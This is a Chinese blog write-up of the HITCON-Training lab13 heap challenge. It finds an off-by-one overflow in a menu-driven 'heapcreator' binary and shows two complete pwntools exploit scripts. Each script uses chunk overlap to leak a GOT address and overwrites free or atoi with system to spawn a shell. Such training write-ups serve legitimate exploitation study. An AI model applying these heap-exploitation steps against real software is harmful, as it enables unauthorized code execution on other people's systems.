网络安全

HITCON-Training WP lab13

2019-07-04  本文已影响24人  111p1kk

lab13

0x01寻找漏洞

程序实现功能:增删查改

--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------

checksec

kk@ubuntu:~/Desktop/black/HITCON-Training/LAB/lab13$ checksec ./heapcreator
[*] '/home/kk/Desktop/black/HITCON-Training/LAB/lab13/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

ida


可以看出create_heap中存在结构体,最不好理解的部分,可能就是在chunk的布局上
struct heaparray
{
    size;
    content;
}

我们通过gdb动调加深理解

gdb-peda$ run
Starting program: /home/kk/Desktop/black/HITCON-Training/LAB/lab13/heapcreator 
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :1
Size of Heap : 24
Content of heap:aaaaaaaaaaaaaaaaaaaaaaaa
SuccessFul
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :Invalid Choice
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :1
Size of Heap : 16
Content of heap:bbbbbbbbbbbbb            
SuccessFul
--------------------------------
          Heap Creator          
--------------------------------
 1. Create a Heap               
 2. Edit a Heap                 
 3. Show a Heap                 
 4. Delete a Heap               
 5. Exit                        
--------------------------------
Your choice :1
Size of Heap : 32
Content of heap:cccccccccccccccccccccccccccccccc
SuccessFul
gdb-peda$ x/30gx 0x603000
0x603000:   0x0000000000000000 ==>prev_size 0x0000000000000021 ==>chunk0_size
0x603010:   0x0000000000000018 ==>size      0x0000000000603030 ==>content ptr
0x603020:   0x0000000000000000              0x0000000000000021
0x603030:   0x6161616161616161              0x6161616161616161 ==>content
0x603040:   0x6161616161616161 ==>prev_size 0x0000000000000021 ==>chunk1_size
0x603050:   0x0000000000000010 ==>size      0x0000000000603070 ==>content ptr
0x603060:   0x0000000000000000              0x0000000000000021
0x603070:   0x6262626262626262              0x00000a6262626262 ==>content
0x603080:   0x0000000000000000 ==>prev_size 0x0000000000000021 ==>chunk2_size
0x603090:   0x0000000000000020 ==>size      0x00000000006030b0 ==>content ptr
0x6030a0:   0x0000000000000000              0x0000000000000031
0x6030b0:   0x6363636363636363              0x6363636363636363
0x6030c0:   0x6363636363636363              0x6363636363636363
0x6030d0:   0x0000000000000000              0x0000000000020f31
0x6030e0:   0x0000000000000000              0x0000000000000000

edit_heap函数中存在off by one


delete_heap函数最后指针清零,所以不存在可利用的uaf漏洞

0x02思路分析

法一:修改free到system
通过利用off by one修改下一个chunk的size,但是只溢出一个字节,显然不能达到下一个chunk的size
我们想到,64位系统下,如果我们申请的size不满足0x10对齐,如我们设置size为0x18,那么系统实际分配了0x20给程序,多出来的字节,正是复用了下一个chunk的prev_size字段。【因为当前chunk在使用时,下一个chunk的prev_size为0,系统为了节省空间,将它分配给上一个chunk也是十分合理的】


法二:修改atoi到system
我们可以发现,程序是通过atoi函数将字符串转化为数字的,我们可以设想通过修改atoisystem,然后将这个buf改为/bin/sh。咦?就可以直接调用啦🤷‍♀️

      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);

0x03利用攻击

#!usr/bin/env python
from pwn import *
context.log_level = "debug"

io = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def menu(choice):
  io.sendlineafter("choice :", str(choice))

def create(size, content):
  menu(1)
  io.recvuntil("Size of Heap : ")
  io.sendline(str(size))
  io.recvuntil("Content of heap:")
  io.sendline(content)

def edit(index, new_content):
  menu(2)
  io.recvuntil("Index :")
  io.sendline(str(index))
  io.recvuntil("Content of heap : ")
  io.sendline(new_content)

def show(index):
  menu(3)
  io.recvuntil("Index :")
  io.sendline(str(index))

def delete(index):
  menu(4)
  io.recvuntil("Index :")
  io.sendline(str(index))


create(0x18, "a")       #0
create(0x10, "b")       #1

edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
delete(1)

# gdb.attach(io)

free_got = elf.got['free']

create(0x30, p64(0) * 4 + p64(0x30) + p64(free_got))
show(1)
io.recvuntil("Content : ")

free_addr = u64(io.recvuntil('D')[:-2].ljust(8,'\x00'))
print "free_addr ==> [%s]"%hex(free_addr)

libc_base = free_addr - libc.symbols['free']
print "libc_base ==> [%s]"%hex(libc_base)
sys_addr = libc_base + libc.symbols['system']
print "sys_addr ==> [%s]"%hex(sys_addr)

edit(1, p64(sys_addr))
delete(0)

io.interactive()

#!usr/bin/env python
from pwn import *
context.log_level = "debug"

io = process("./heapcreator")
elf = ELF("./heapcreator")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def menu(choice):
  io.sendlineafter("choice :", str(choice))

def create(size, content):
  menu(1)
  io.recvuntil("Size of Heap : ")
  io.sendline(str(size))
  io.recvuntil("Content of heap:")
  io.sendline(content)

def edit(index, new_content):
  menu(2)
  io.recvuntil("Index :")
  io.sendline(str(index))
  io.recvuntil("Content of heap : ")
  io.sendline(new_content)

def show(index):
  menu(3)
  io.recvuntil("Index :")
  io.sendline(str(index))

def delete(index):
  menu(4)
  io.recvuntil("Index :")
  io.sendline(str(index))


create(0x18, "a")       #0
create(0x10, "b")       #1

edit(0, "a" * 0x18 + "\x41")
delete(1)

# gdb.attach(io)

atoi_got = elf.got['atoi']

create(0x30, p64(0) * 4 + p64(0x30) + p64(atoi_got))
show(1)
io.recvuntil("Content : ")

atoi_addr = u64(io.recvuntil('D')[:-2].ljust(8,'\x00'))
print "atoi_addr ==> [%s]"%hex(atoi_addr)

libc_base = atoi_addr - libc.symbols['atoi']
print "libc_base ==> [%s]"%hex(libc_base)
sys_addr = libc_base + libc.symbols['system']
print "sys_addr ==> [%s]"%hex(sys_addr)

edit(1, p64(sys_addr))
io.sendline("1")
io.recvuntil(": ")
io.sendline("/bin/sh\x00")
# io.sendline("$0")

io.interactive()
上一篇下一篇

猜你喜欢

热点阅读